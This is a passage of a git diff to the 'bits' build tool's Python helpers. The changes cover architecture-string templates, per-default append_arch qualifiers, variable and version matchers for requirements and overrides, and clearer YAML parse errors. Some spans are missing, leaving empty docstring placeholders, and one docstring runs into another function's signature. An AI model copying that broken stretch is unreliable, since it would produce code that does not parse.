a/bits_helpers/status.py +++ b/bits_helpers/status.py @@ -362,6 +362,12 @@ def doStatus(args, parser) -> None: work_dir = abspath(args.workDir) prunePaths(work_dir) + if not exists(args.configDir): + from bits_helpers.repo_provider import cwd_is_recipe_dir + _default_config_dir = os.environ.get("BITS_REPO_DIR", "alidist") + if args.configDir == _default_config_dir and cwd_is_recipe_dir(): + debug("Recipe files detected in current directory; using '.' as config dir") + args.configDir = "." dieOnError(not exists(args.configDir), 'Cannot find recipes under directory "%s".\n' 'Maybe you need to "cd" to the right directory or ' diff --git a/bits_helpers/utilities.py b/bits_helpers/utilities.py index 95e0f26a..1af6af43 100644 --- a/bits_helpers/utilities.py +++ b/bits_helpers/utilities.py @@ -186,31 +186,64 @@ def effective_arch(spec: dict, build_arch: str) -> str: def compute_combined_arch(defaults_meta: dict, defaults_list: list, raw_arch: str) -> str: """Return the effective architecture string for install paths. - When any loaded defaults file sets ``qualify_arch: true``, the install - directory is qualified with the defaults combination joined by ``-``:: + **Per-default ``append_arch`` (new mechanism)** - ---... + When one or more loaded defaults files set ``append_arch: ``, only + those explicit values are appended to *raw_arch*, regardless of the + ``qualify_arch`` flag:: - The ``release`` component is omitted from the suffix because it is the - baseline and would add noise (``slc7_x86-64-release`` is less useful than - ``slc7_x86-64``). If, after filtering, no qualifiers remain, *raw_arch* - is returned as-is. + # defaults-gcc13.sh has append_arch: -gcc13 + # defaults-release.sh has no append_arch + # result for --default release::gcc13: + compute_combined_arch({"_append_arch_qualifiers": ["-gcc13"]}, + ["release", "gcc13"], "slc7_x86-64") + # → "slc7_x86-64-gcc13" - When ``qualify_arch`` is absent or false in the merged defaults metadata the - function returns *raw_arch* unchanged, preserving full backward - compatibility. + This lets recipe authors opt individual defaults files into architecture + qualification while keeping the others transparent. The values from + ``append_arch`` are appended **verbatim**, in the same order as the defaults + chain (``--default a::b::c``); no separator is assumed. Each value must + carry its own separator if one is wanted (and may also be glued on with + none):: + + append_arch: -gcc15-dbg # -> "-gcc15-dbg" + append_arch: _gcc15 # -> "_gcc15" + append_arch: dbg # -> "dbg" (no separator, glued on) + + **Legacy ``qualify_arch`` (backward-compatible fallback)** + + When no defaults file uses ``append_arch``, the old behaviour applies: if + any loaded defaults file sets ``qualify_arch: true``, the install directory + is qualified with every non-``release`` default name joined by ``-``:: + + ---... + + When ``qualify_arch`` is absent or false and no ``append_arch`` values were + collected, *raw_arch* is returned unchanged. Examples:: compute_combined_arch({}, ["release"], "slc7_x86-64") - # → "slc7_x86-64" (no qualify_arch flag) + # → "slc7_x86-64" (neither mechanism active) compute_combined_arch({"qualify_arch": True}, ["dev", "gcc13"], "slc7_x86-64") - # → "slc7_x86-64-dev-gcc13" + # → "slc7_x86-64-dev-gcc13" (legacy qualify_arch) compute_combined_arch({"qualify_arch": True}, ["release"], "slc7_x86-64") - # → "slc7_x86-64" (release-only, no suffix) + # → "slc7_x86-64" (legacy, release-only → no suffix) + + compute_combined_arch({"_append_arch_qualifiers": ["-gcc13"]}, + ["release", "gcc13"], "slc7_x86-64") + # → "slc7_x86-64-gcc13" (per-default append_arch, separator in value) """ + # --- New mechanism: per-default append_arch values ------------------------- + per_default = defaults_meta.get("_append_arch_qualifiers") + if per_default: + # Append each value verbatim: the separator (if any) lives in the value, so + # callers can join with "-", "_", or nothing at all. + return raw_arch + "".join(q for q in per_default if q) + + # --- Legacy mechanism: global qualify_arch flag ---------------------------- if not defaults_meta.get("qualify_arch", False): return raw_arch qualifiers = [d for d in defaults_list if d != "release"] @@ -280,9 +313,11 @@ def short_commit_hash(spec): "hour": str(now.hour).zfill(2), } -def resolve_spec_data(spec, data, defaults, branch_basename="", branch_stream=""): +def resolve_spec_data(spec, data, defaults, branch_basename="", branch_stream="", + default_vars=None, strict=True): """Expand the data replacing the following keywords: + - %(name)s — package name (alias for %(package)s, preferred in source URLs) - %(package)s - %(commit_hash)s - %(short_hash)s @@ -305,6 +340,7 @@ def resolve_spec_data(spec, data, defaults, branch_basename="", branch_stream="" tag = str(spec.get("tag", "tag_unknown")) package = spec.get("package") all_vars = { + "name": package, # short alias used in source URLs: %(name)s-%(version)s.tar.gz "package": package, "root_dir": "${%s_ROOT}" % pkg_to_shell_id(package), "commit_hash": commit_hash, @@ -320,18 +356,49 @@ def resolve_spec_data(spec, data, defaults, branch_basename="", branch_stream="" "os_name": os.name, **nowKwds, } + # default_vars come from the active --defaults profile's `variables:` block and + # are shared across recipes. Apply them BEFORE the recipe's own `variables:` + # so a recipe-local definition overrides a profile-wide one of the same name. + for k, v in (default_vars or {}).items(): + all_vars[k] = v for k, v in spec.get("variables",{}).items(): all_vars[k] = v - # Support for indirect variable expansion e.g. with - # variables: - # v1: foo - # foo_key: bar - # final: %%(%(v1)s_key)s - # "final" will have the value "bar" (first expanded to "%(foo_key)s" and - # then to value of "foo_key" i.e. "bar") - while re.search(r"\%\([a-zA-Z][a-zA-Z0-9_]*\)s", data): - data = data % all_vars + if strict: + # Opted-in expansion — version/tag/source/patches, or a recipe that sets + # `variables:` / `expand_recipe: true`. An unknown %(x)s is almost certainly + # a typo, so it is fatal. Uses %-formatting so the documented indirect form + # `%%(%(v1)s_key)s` keeps working (%% collapses to % between passes). + # variables: + # v1: foo + # foo_key: bar + # final: %%(%(v1)s_key)s # -> %(foo_key)s -> bar + while re.search(r"\%\([a-zA-Z][a-zA-Z0-9_]*\)s", data): + try: + data = data % all_vars + except KeyError as e: + dieOnError(True, + "Unknown variable %s referenced in recipe for '%s'.\n" + " Offending value: %r\n" + " Available variables: %s" % ( + e, package or "?", data, ", ".join(sorted(all_vars)))) + return data # guard for mocked dieOnError in tests + return data + + # Soft expansion — the recipe did NOT opt in and is only being expanded because + # the defaults profile defines `variables:`. Substitute only the variables we + # actually know, leaving any other %(...)s — and bare `%` (shell parameter + # expansion like ${v%suffix}, printf %d, etc.) — untouched, so incidental + # occurrences in a recipe body are neither clobbered nor turned into a fatal + # error. Loops to support indirect %(%(v1)s_key)s nesting; the prev!=data + # guard terminates once no further known substitutions are possible. + _var_re = re.compile(r"\%\(([a-zA-Z][a-zA-Z0-9_]*)\)s") + def _sub_known(m): + return str(all_vars[m.group(1)]) if m.group(1) in all_vars else m.group(0) + prev = None + while prev != data and _var_re.search(data): + prev = data + data = _var_re.sub(_sub_known, data) return data def resolve_version(spec, defaults, branch_basename, branch_stream): @@ -344,7 +411,13 @@ def resolve_tag(spec): - %(day)s - %(hour)s """ - return spec["tag"] % {**nowKwds, **spec} + try: + return spec["tag"] % {**nowKwds, **spec} + except KeyError as e: + dieOnError(True, + "Unknown variable %s in tag field of recipe for '%s': %r" % ( + e, spec.get("package", "?"), spec.get("tag", ""))) + return spec.get("tag", "") # guard for mocked dieOnError in tests def normalise_multiple_options(option, sep=","): @@ -386,50 +459,113 @@ def validateDefaults(finalPkgSpec, defaults): "\n".join([" - " + x for x in validDefaults])), validDefaults) -def doDetectArch(hasOsRelease, osReleaseLines, platformTuple, platformSystem, platformProcessor): +# Built-in architecture layout, used when no `architecture:` template is set in +# the defaults. Expressed with the same %(...)s substitution syntax bits uses +# elsewhere (sources, tags). Available keys: see arch_components(). +DEFAULT_ARCH_TEMPLATE = "%(os)s_%(machine)s" + + +def arch_components(hasOsRelease, osReleaseLines, platformTuple, platformSystem, platformProcessor): + """Return the substitution dict from which the architecture string is built. + + Keys: + os -- distro+version token, e.g. "ubuntu2510" (or "osx") + machine -- bits-canonical dashed CPU form, e.g. "x86-64" (or "arm64") + _machine -- uname/underscore CPU form, e.g. "x86_64" + + doDetectArch() assembles the default layout via DEFAULT_ARCH_TEMPLATE; a + defaults file may instead supply its own `architecture:` template referencing + these keys (e.g. "%(os)s_%(_machine)s" for ubuntu2510_x86_64, or + "%(_machine)s-%(os)s" for x86_64-ubuntu2510). + """ if platformSystem == "Darwin": processor = platformProcessor if not processor: - if platform.machine() == "x86_64": - processor = "x86-64" - else: - processor = "arm64" - return "osx_%s" % processor.replace("_", "-") - distribution, version, flavour = platformTuple - distribution = distribution.lower() - # If platform.dist does not return something sensible, - # let's try with /etc/os-release - if distribution not in ["ubuntu", "red hat enterprise linux", "redhat", "centos", "almalinux", "rocky linux"] and hasOsRelease: - for x in osReleaseLines: - key, is_prop, val = x.partition("=") - if not is_prop: - continue - val = val.strip("\n \"") - if key == "ID": - distribution = val.lower() - if key == "VERSION_ID": - version = val - - if distribution == "ubuntu": - major, _, minor = version.partition(".") - version = major + minor - elif distribution == "debian": - # http://askubuntu.com/questions/445487/which-ubuntu-version-is-equivalent-to-debian-squeeze - debian_ubuntu = {"7": "1204", "8": "1404", "9": "1604", "10": "1804", "11": "2004"} - if version in debian_ubuntu: - distribution = "ubuntu" - version = debian_ubuntu[version] - elif distribution in ["redhat", "red hat enterprise linux", "centos", "almalinux", "rocky linux"]: - distribution = "slc" - - processor = platformProcessor - if not processor: - # Sometimes platform.processor returns an empty string - processor = getoutput(("uname", "-m")).strip() - - return "{distro}{version}_{machine}".format( - distro=distribution, version=version.split(".")[0], - machine=processor.replace("_", "-")) + processor = "x86-64" if platform.machine() == "x86_64" else "arm64" + os_token = "osx" + else: + distribution, version, flavour = platformTuple + distribution = distribution.lower() + # If platform.dist does not return something sensible, + # let's try with /etc/os-release + if distribution not in ["ubuntu", "red hat enterprise linux", "redhat", "centos", "almalinux", "rocky linux"] and hasOsRelease: + for x in osReleaseLines: + key, is_prop, val = x.partition("=") + if not is_prop: + continue + val = val.strip("\n \"") + if key == "ID": + distribution = val.lower() + if key == "VERSION_ID": + version = val + + if distribution == "ubuntu": + major, _, minor = version.partition(".") + version = major + minor + elif distribution == "debian": + # http://askubuntu.com/questions/445487/which-ubuntu-version-is-equivalent-to-debian-squeeze + debian_ubuntu = {"7": "1204", "8": "1404", "9": "1604", "10": "1804", "11": "2004"} + if version in debian_ubuntu: + distribution = "ubuntu" + version = debian_ubuntu[version] + elif distribution in ["redhat", "red hat enterprise linux", "centos", "almalinux", "rocky linux"]: + distribution = "slc" + + processor = platformProcessor + if not processor: + # Sometimes platform.processor returns an empty string + processor = getoutput(("uname", "-m")).strip() + + os_token = "{distro}{version}".format(distro=distribution, version=version.split(".")[0]) + + return { + "os": os_token, + "machine": processor.replace("_", "-"), + "_machine": processor.replace("-", "_"), + } + + +def apply_arch_template(template, components): + """Render an architecture *template* (``%(os)s``/``%(machine)s``/...) against + *components*. A literal string with no placeholders is returned unchanged.""" + try: + return template % components + except (KeyError, ValueError) as exc: + raise ValueError("invalid architecture template %r: %s" % (template, exc)) + + +def doDetectArch(hasOsRelease, osReleaseLines, platformTuple, platformSystem, platformProcessor): + return apply_arch_template( + DEFAULT_ARCH_TEMPLATE, + arch_components(hasOsRelease, osReleaseLines, platformTuple, platformSystem, platformProcessor)) + + +# ── architecture token matching (order- and separator-independent) ────────── +# Used so that custom layouts (ubuntu2510_x86_64, x86_64-ubuntu2510, ...) are +# recognised without --force-unknown-architecture, and so docker-image / S3 +# lookups match by content rather than by string position. +_ARCH_DISTRO_RE = re.compile( + r"(slc[0-9]+|ubuntu[0-9]*|ubt[0-9]*|osx|fedora[0-9]*|alma(?:linux)?[0-9]*" + r"|centos[0-9]*|rocky[0-9]*|rhel[0-9]*|el[0-9]+|debian[0-9]*)") +_ARCH_MACHINE_RE = re.compile(r"(x86[-_]64|aarch64|arm64|ppc64le|ppc64)") + + +def arch_distro_token(architecture): + """Return the distro token (e.g. 'ubuntu2510') found anywhere in *architecture*.""" + m = _ARCH_DISTRO_RE.search(architecture or "") + return m.group(0) if m else None + + +def arch_machine_token(architecture): + """Return the CPU token (e.g. 'x86-64'/'x86_64') found anywhere in *architecture*.""" + m = _ARCH_MACHINE_RE.search(architecture or "") + return m.group(0) if m else None + + +def normalise_arch_key(architecture): + """(distro, dashed-machine) key for order/separator-independent comparison.""" + mac = arch_machine_token(architecture) + return (arch_distro_token(architecture), mac.replace("_", "-") if mac else None) # Try to guess a good platform. This does not try to cover all the # possibly compatible linux distributions, but tries to get right the @@ -466,34 +602,340 @@ def detectArch(): except Exception: return doDetectArch(hasOsRelease, osReleaseLines, ["unknown", "", ""], "", "") + +def detectArchComponents(): + """Like detectArch(), but returns the {os, machine, _machine} substitution + dict (see arch_components) so a defaults `architecture:` template can be + rendered against the locally detected platform.""" + try: + with open("/etc/os-release") as osr: + osReleaseLines = osr.readlines() + hasOsRelease = True + except OSError: + osReleaseLines = [] + hasOsRelease = False + if platform.system() == "Darwin": + machine = "x86-64" if platform.machine() == "x86_64" else platform.machine() + return {"os": "osx", "machine": machine.replace("_", "-"), "_machine": machine.replace("-", "_")} + try: + import distro + platformProcessor = platform.processor() + if not platformProcessor or " " in platformProcessor: + platformProcessor = platform.machine() + return arch_components(hasOsRelease, osReleaseLines, distro.linux_distribution(), + platform.system(), platformProcessor) + except Exception: + return arch_components(hasOsRelease, osReleaseLines, ["unknown", "", ""], "", "") + def _parse_req_matcher(r): - """Split a requirement string into ``(requirement_name, matcher)`` pair. + """Split a requirement string into ``(name, matcher, version_pin)`` triple. + + Supported syntaxes:: + + name plain dependency + name:matcher architecture/defaults-conditional dependency + name = version dependency with explicit version pin + name = version:matcher version pin + arch/defaults condition + + *matcher* is an architecture regex or ``defaults=``, exactly as for + the two-field form. *version_pin* is ``None`` when no ``= version`` clause + is present. + + The ``=`` must appear **before** the ``:`` (if any) so that version strings + containing ``:`` are not ambiguous with matchers. In practice version + strings do not contain ``:``, so this is not a real constraint. + """ + # Locate = and : positions. Only treat = as a version separator when it + # appears before the first : (or when there is no :). + eq_pos = r.find("=") + colon_pos = r.find(":") + if eq_pos != -1 and (colon_pos == -1 or eq_pos < colon_pos): + name = r[:eq_pos].strip() + rest = r[eq_pos + 1:].strip() + if ":" in rest: + pin, matcher = rest.split(":", 1) + return name, matcher, pin.strip() + return name, ".*", rest + if ":" in r: + name, matcher = r.split(":", 1) + return name, matcher, None + return r, ".*", None + + +def _defaults_active(matcher, defaults): + """Return True if a ``defaults=`` *matcher* matches the active defaults. + + ``defaults`` is what bits threads through from ``args.defaults``, which is a + *list* of profile names (``--defaults dev4::cuda`` -> ``["dev4", "cuda"]``); + older callers/tests may pass a bare string. The conditional is active when the + regex matches ANY active profile, so a recipe can require a dependency only + under a given profile, e.g. ``- "cuda:defaults=cuda"`` (enabled by + defaults-cuda.sh). Matching per-element also makes this safe: the previous + code passed the whole list to ``re.match`` and would raise TypeError. + """ + rx = matcher[len("defaults="):] + defs = defaults if isinstance(defaults, (list, tuple)) else [defaults] + return any(re.match(rx, d) for d in defs) + + +# A variable-reference matcher is spelled "(?NAME)" -- an identifier in the same +# parenthesised form as a regex group, but one that is NOT a legal regex (e.g. +# "(?cuda)" raises re.error: "unknown extension ?c"). This lets a recipe gate a +# dependency on a defaults *variable* rather than on the architecture string: +# - "cuda:(?cuda)" # require cuda only when variable `cuda` is truthy +# It is deliberately distinct from arch regexes such as "(?!osx)" (a valid +# negative-lookahead, kept as an arch match) -- we only treat "(?NAME)" as a +# variable reference when it fails to compile as a regex, so real regexes +# (including inline-flag groups like "(?i)") are never misinterpreted. +_VAR_MATCHER_RE = re.compile(r"\(\?([A-Za-z_][A-Za-z0-9_]*)\)\Z") + + +def _var_matcher_name(matcher): + """Return the variable NAME if *matcher* is a "(?NAME)" variable reference, + else None (in which case it is an arch regex / defaults= matcher).""" + m = _VAR_MATCHER_RE.match(matcher or "") + if not m: + return None + try: + re.compile(matcher) + except re.error: + return m.group(1) # not a valid regex -> it's a variable reference + return None # valid regex (e.g. "(?i)") -> treat as arch match + + +def _var_truthy(default_vars, name): + """True when defaults variable *name* is defined and not a false-ish string.""" + v = (default_vars or {}).get(name) + return v is not None and str(v).strip().lower() not in ("", "0", "false", "off", "no") + + +def _loose_version_key(v): + """A natural-order sort key for version strings, à la ``sort -V``. - Requirement strings may be plain package names or ``name:matcher`` where - *matcher* is either an architecture regex or ``defaults=``. + Splits the string into runs of digits and non-digits; digit runs compare + numerically (so v40r2 < v40r10) and non-digit runs lexicographically. Each + element is a (type, value) tuple so int and str runs never compare directly. + Handles the schemes bits sees: v40r2, v01-19-06, 01.07, 1.2.3, 0.1.0pre17. + + Separator characters ``-``, ``.`` and ``_`` are treated as equivalent and do + not themselves contribute to the ordering, so dash- and dot-form tags compare + equal (``v6-40-00`` == ``v6.40.00``). Without this, the raw separator runs + sort lexicographically ('-' 0x2d < '.' 0x2e), which made ``v6-40-00`` rank + below ``v6.36.99`` and silently broke ``version>=`` gating for ROOT-style + dash tags. + """ + key = [] + for p in re.findall(r"\d+|\D+", str(v)): + if p.isdigit(): + key.append((0, int(p))) + else: + s = re.sub(r"[-._]+", "", p) # drop separators; keep alpha (v, r, pre…) + if s: + key.append((1, s)) + return key + + +def _version_compare(a, b): + """Return -1/0/1 comparing version strings *a* and *b* in natural order.""" + ka, kb = _loose_version_key(a), _loose_version_key(b) + return (ka > kb) - (ka < kb) + + +# version: e.g. "version=v40r2", "version=v40r2". +_VERSION_OP_RE = re.compile(r"version\s*(>=|<=|==|!=|=|>|<)\s*(.+)\Z", re.DOTALL) +_VERSION_OPS = { + "=": lambda c: c == 0, "==": lambda c: c == 0, "!=": lambda c: c != 0, + "<": lambda c: c < 0, "<=": lambda c: c <= 0, + ">": lambda c: c > 0, ">=": lambda c: c >= 0, +} + + +def _matcher_atom_active(matcher, arch, defaults, default_vars=None, version=None): + """Evaluate a single (non-compound) matcher atom. See _matcher_active.""" + if matcher.startswith("defaults="): + return _defaults_active(matcher, defaults) + vm = _VERSION_OP_RE.match(matcher) + if vm: + return version is not None and _VERSION_OPS[vm.group(1)](_version_compare(version, vm.group(2).strip())) + var = _var_matcher_name(matcher) + if var is not None: + return _var_truthy(default_vars, var) + return bool(re.match(matcher, arch)) + + +def _matcher_active(matcher, arch, defaults, default_vars=None, version=None): + """Whether a *matcher* is active for the current build. + + Atoms: + * ``defaults=`` -> active when the regex matches an active profile; + * ``version`` -> active when the package version satisfies the + comparison (op is one of = == != < <= > >=), + e.g. ``foo.patch:version=v40r2`` or + ``foo.patch:version active when defaults variable VAR is truthy; + * anything else -> a regex matched against the architecture string. + + Atoms may be combined with ``&&`` (all) and ``||`` (any); ``||`` has the lower + precedence, e.g. ``(?!osx) && version>=v40r2 || (?cuda)`` is + ``((?!osx) AND version>=v40r2) OR (?cuda)``. (Note: a single ``|`` inside an + arch regex is still ordinary alternation — only the doubled ``||`` combines.) + + *version* is the resolved package version (after overrides / pins); it is only + consulted by the ``version`` kind and may be ``None`` for callers that never + use it (e.g. requires filtering). + """ + matcher = matcher.strip() + if "||" in matcher: + parts = [p for p in (s.strip() for s in matcher.split("||")) if p] + return any(_matcher_active(p, arch, defaults, default_vars, version) for p in parts) + if "&&" in matcher: + parts = [p for p in (s.strip() for s in matcher.split("&&")) if p] + return all(_matcher_active(p, arch, defaults, default_vars, version) for p in parts) + return _matcher_atom_active(matcher, arch, defaults, default_vars, version) + + +def predefined_arch_vars(architecture): + """Predefined, architecture-derived boolean variables (truthy ones only). + + These let a recipe or a defaults ``variables:`` gate test the platform with + the same ``(?NAME)`` spelling used for flavours, e.g. a package requirement + ``pkg:(?osx)`` or a variable gated ``when: "(?openloops) && (?!osx)"``. Only + the *true* members are returned (an unset variable is already falsy via + :func:`_var_truthy`, so ``(?osx)`` is correctly false off macOS). On + ``osx_arm64`` this is ``{'osx': 'true', 'arm64': 'true', 'aarch64': 'true'}``. """ - return r.split(":", 1) if ":" in r else (r, ".*") + a = str(architecture or "") + is_osx = a.startswith("osx") + is_arm = ("arm64" in a) or ("aarch64" in a) + is_x86 = ("x86-64" in a) or ("x86_64" in a) + cand = {"osx": is_osx, "linux": not is_osx, + "arm64": is_arm, "aarch64": is_arm, "x86_64": is_x86} + return {k: "true" for k, v in cand.items() if v} + + +def resolve_variables(variables, flavours, architecture, defaults): + """Resolve a defaults ``variables:`` block into a flat ``{name: value}`` dict. + + Entries may be plain (``name: value`` -- always defined) or *gated* + (``name: {value: V, when: MATCHER}`` -- defined to ``V`` only when ``MATCHER`` + is active for this build). ``MATCHER`` uses the requires-matcher grammar + (``(?flavour)``, an architecture regex such as ``osx`` / ``(?!osx)``, + ``defaults=``, combined with ``&&`` / ``||``) and is evaluated against + the variables resolved *so far*, so a gate may reference CLI flavours, the + predefined architecture variables, and any earlier entry ("a previously + defined variable"). A gated entry with no explicit ``value`` defaults to + ``True`` when active. + + Precedence (low -> high): predefined arch vars < CLI flavours < defaults-file + entries, except that a CLI flavour always wins over a defaults entry of the + same name (an explicit override) while remaining visible to every gate. + """ + flavours = flavours or {} + resolved = OrderedDict() + resolved.update(predefined_arch_vars(architecture)) + resolved.update(flavours) # visible to the gates below + for name, entry in (variables or {}).items(): + if name in flavours: + continue # CLI flavour overrides defaults + if isinstance(entry, dict) and "when" in entry: + if _matcher_active(str(entry["when"]), architecture, defaults, resolved): + resolved[name] = entry.get("value", True) + # inactive -> leave undefined (falsy) + else: + resolved[name] = entry + return resolved + -def filterByArchitectureDefaults(arch, defaults, requires): - """Yield requirements from *requires* that are satisfied by *arch*/*defaults*.""" +def filterByArchitectureDefaults(arch, defaults, requires, default_vars=None, version=None): + """Yield requirements from *requires* that are satisfied by *arch*/*defaults*. + + *version* is the depending package's own resolved version; pass it so a + requirement can be gated on it, e.g. ``- "curl:version>=v6.40.00"``. + """ for r in requires: - require, matcher = _parse_req_matcher(r) - if matcher.startswith("defaults="): - if re.match(matcher[len("defaults="):], defaults): - yield require - elif re.match(matcher, arch): + require, matcher, _pin = _parse_req_matcher(r) + if _matcher_active(matcher, arch, defaults, default_vars, version): yield require -def disabledByArchitectureDefaults(arch, defaults, requires): +def disabledByArchitectureDefaults(arch, defaults, requires, default_vars=None, version=None): """Yield requirements from *requires* that are *not* satisfied by *arch*/*defaults*.""" for r in requires: - require, matcher = _parse_req_matcher(r) - if matcher.startswith("defaults="): - if not re.match(matcher[len("defaults="):], defaults): - yield require - elif not re.match(matcher, arch): + require, matcher, _pin = _parse_req_matcher(r) + if not _matcher_active(matcher, arch, defaults, default_vars, version): yield require + +def _parse_patch_entry(entry): + """Split a ``patches:`` entry into ``(name, matcher_or_None, checksum_suffix)``. + + Entry form: ``name[:matcher][,algo:digest]``. The optional inline checksum + (which itself contains ``:``) is separated first on the first ``,``; a ``:`` + in the remaining head then introduces a conditional matcher, e.g. + ``foo.patch:version OrderedDict: """ Merge two ordered dictionaries where dict2's keys updates dict1's keys recursively. @@ -586,6 +1028,7 @@ def resolve_pkg_family(defaults_meta: dict, package_name: str) -> str: def readDefaults(configDir, defaults, error, architecture): defaultsMeta = {} defaultsBody = "" + append_arch_qualifiers = [] # per-default append_arch values, in chain order for xdefaults in defaults: xDefaults = resolveDefaultsFilename(xdefaults, configDir, failOnError=False) @@ -597,7 +1040,27 @@ def readDefaults(configDir, defaults, error, architecture): if err: error(err) sys.exit(1) + # Collect append_arch value before merging (merge_dicts would flatten it + # into a single scalar and we need the ordered per-default list). + if "append_arch" in xMeta: + append_arch_qualifiers.append(xMeta["append_arch"]) + # Normalise this profile's overrides to dict-form *before* the chain merge + # so that defaults chained as a::b::c deep-merge: the union of all entries, + # last profile wins on a per-package key. Without this, merge_dicts sees a + # list-form block ("- pkg = ver") and a dict-form block ("pkg:\n ...") as + # incompatible types and the later one REPLACES the earlier wholesale, + # silently dropping the other profile's pins. asDict turns both shapes into + # an OrderedDict, which merge_dicts then merges recursively (key-by-key, + # last wins). + if "overrides" in xMeta: + xMeta["overrides"] = asDict(xMeta["overrides"]) defaultsMeta = merge_dicts(defaultsMeta, xMeta) + + # Store the collected per-default qualifiers so compute_combined_arch can + # use them instead of appending every default name to the architecture. + if append_arch_qualifiers: + defaultsMeta["_append_arch_qualifiers"] = append_arch_qualifiers + debug("Merged Defaults: %s ",json.dumps(defaultsMeta,indent = 4)) return (defaultsMeta, defaultsBody) @@ -663,13 +1126,31 @@ def construct_include(loader: YamlSafeOrderedLoader, node: yaml.Node) -> Any: """Include file referenced at node.""" filename = os.path.abspath(os.path.join(loader._root, loader.construct_scalar(node))) extension = os.path.splitext(filename)[1].lstrip('.') - with open(filename) as f: - if extension in ('yaml', 'yml'): - return yaml.load(f, YamlSafeOrderedLoader) - elif extension in ('json', ): - return json.load(f) - else: - return ''.join(f.readlines()) + try: + with open(filename) as f: + if extension in ('yaml', 'yml'): + try: + return yaml.load(f, YamlSafeOrderedLoader) + except (yaml.scanner.ScannerError, yaml.parser.ParserError) as e: + raise yaml.constructor.ConstructorError( + None, None, + "!include: failed to parse YAML file %r: %s" % (filename, e), + node.start_mark) + elif extension in ('json', ): + try: + return json.load(f) + except ValueError as e: + raise yaml.constructor.ConstructorError( + None, None, + "!include: failed to parse JSON file %r: %s" % (filename, e), + node.start_mark) + else: + return ''.join(f.readlines()) + except OSError as e: + raise yaml.constructor.ConstructorError( + None, None, + "!include: cannot open file %r: %s" % (filename, e), + node.start_mark) def construct_mapping(loader, node): loader.flatten_mapping(node) @@ -699,6 +1180,18 @@ def parseRecipe(reader, generatePackages=None, visited=None): try: d = reader() header,recipe = d.split("---", 1) + # YAML forbids '%' as the first character of a plain (unquoted) scalar because + # it is reserved for directives (e.g. %YAML, %TAG). Recipe authors may want + # to write "- %(name)s-%(version)s.patch" in patches: (and similar lists) + # for the same variable substitution that sources: already supports. Auto- + # quoting those list items here lets them write the bare %(…)s form without + # needing to remember YAML quoting rules. + header = re.sub( + r'^(\s*-\s+)(%[^\n\'"#\[\{].*)$', + lambda m: m.group(1) + '"' + m.group(2).replace('\\', '\\\\').replace('"', '\\"') + '"', + header, + flags=re.MULTILINE, + ) spec = yamlLoad(header) if spec and "from" in spec: basename = os.path.basename(getattr(reader, "url", "") or "") @@ -722,7 +1215,7 @@ def parseRecipe(reader, generatePackages=None, visited=None): err = str(e) except SpecError as e: err = "Malformed header for {}\n{}".format(reader.url, str(e)) - except (yaml.scanner.ScannerError, yaml.parser.ParserError) as e: + except yaml.YAMLError as e: err = "Unable to parse {}\n{}".format(reader.url, str(e)) except ValueError: err = "Unable to parse %s. Header missing." % reader.url @@ -751,13 +1244,34 @@ def asDict(overrides_array): # Start with an empty OrderedDict result = OrderedDict() - + + def _string_override(s): + """Support the "name = value" version-pin shorthand in overrides:, the + same syntax used for requires: pins. Returns {name: {version, tag}} so + that tarball URLs (%(version)s) and git checkouts (tag) both use the + pinned value, or None when the string is not a "name = value" pin.""" + name, sep, value = s.partition("=") + name, value = name.strip(), value.strip() + if not (sep and name and value): + return None + return OrderedDict([(name, OrderedDict([("version", value), ("tag", value)]))]) + for item in overrides_array: - if isinstance(item, list): + if isinstance(item, str): + # e.g. "acts = 44.4.0" — previously silently ignored, which made a + # list-of-strings overrides: block a no-op. + d = _string_override(item) + if d is not None: + result = merge_dicts(result, d) + elif isinstance(item, list): # Handle nested lists - recursively process each element for subitem in item: if isinstance(subitem, dict): result = merge_dicts(result, subitem) + elif isinstance(subitem, str): + d = _string_override(subitem) + if d is not None: + result = merge_dicts(result, d) elif isinstance(item, dict): result = merge_dicts(result, item) @@ -910,10 +1424,25 @@ def getPackageList(packages, specs, configDir, preferSystem, noSystem, validDefaults = [] # empty list: all OK; None: no valid default; non-empty list: list of valid ones if provider_dirs is None: provider_dirs = {} + _disable_set = set(disable) + # version_pins accumulates ``name -> version`` entries declared via the + # ``name = version`` syntax in any spec's requires / build_requires lists. + # Pins are applied to the dependency spec just before it is stored in + # *specs*, overriding the version stated in the recipe and any defaults-file + # override. Conflicts (two different pins for the same name, or a pin that + # arrives after the dependency was already resolved) are fatal errors. + _version_pins = {} while packages: p = packages.pop(0) if p in specs: continue + # A package already known to be disabled (prefer_system or system_requirement + # passed on a prior iteration) should not be re-processed. Without this + # guard the package is re-evaluated once per occurrence in the queue — + # i.e. once per dependent — and disable.append() fires each time, producing + # hundreds of duplicate --disable=GCC-Toolchain entries in the argument log. + if p in _disable_set: + continue skip = False for d in defaults: if p == "defaults-release" and ("defaults-" + d) in specs: @@ -991,11 +1520,20 @@ def getPackageList(packages, specs, configDir, preferSystem, noSystem, # If an override fully matches a package, we apply it. This means # you can have multiple overrides being applied for a given package. + # An override key may carry an optional ":matcher" suffix (same syntax as + # requires/patches: arch regex, defaults=, version, (?VAR), &&/||) to + # gate it, e.g. "ROOT:osx" applies only on macOS architectures. Package + # names never contain ":", so splitting on the first ":" is unambiguous. + _ovr_vars = (defaults_meta or {}).get("variables") for override in overrides: # We downcase the regex in parseDefaults(), so downcase the package name # as well. FIXME: This is probably a bad idea; we should use # re.IGNORECASE instead or just match case-sensitively. - if not re.fullmatch(override, p.lower()): + pkg_re, sep, matcher = override.partition(":") + if not re.fullmatch(pkg_re, p.lower()): + continue + if sep and not _matcher_active(matcher, architecture, defaults, _ovr_vars, + spec.get("version")): continue log("Overrides for package %s: %s", spec["package"], overrides[override]) spec.update(overrides.get(override, {}) or {}) @@ -1059,7 +1597,9 @@ def getPackageList(packages, specs, configDir, preferSystem, noSystem, # No replacement spec name given. Fall back to old system package # behaviour and just disable the package. systemPackages.add(spec["package"]) - disable.append(spec["package"]) + if spec["package"] not in _disable_set: + disable.append(spec["package"]) + _disable_set.add(spec["package"]) elif match: # The check printed the name of a replacement; use it. key = match.group("key").strip() @@ -1075,6 +1615,15 @@ def getPackageList(packages, specs, configDir, preferSystem, noSystem, # The version is required for all specs. What we put there will # influence the package's hash, so allow the user to override it. replacement.setdefault("version", requested_version) + # Carry over structural keys set on the original spec earlier in + # getPackageList that build.py needs and that are NOT recomputed for + # the replacement. pkgdir (the recipe directory, used for PKGDIR) is + # mandatory — without it doBuild raises KeyError: 'pkgdir' when it + # builds the replacement (e.g. a HomebrewRecipe shim). + for _carry in ("pkgdir", "recipe_provider", "recipe_provider_hash", + "force_revision"): + if _carry in spec and _carry not in replacement: + 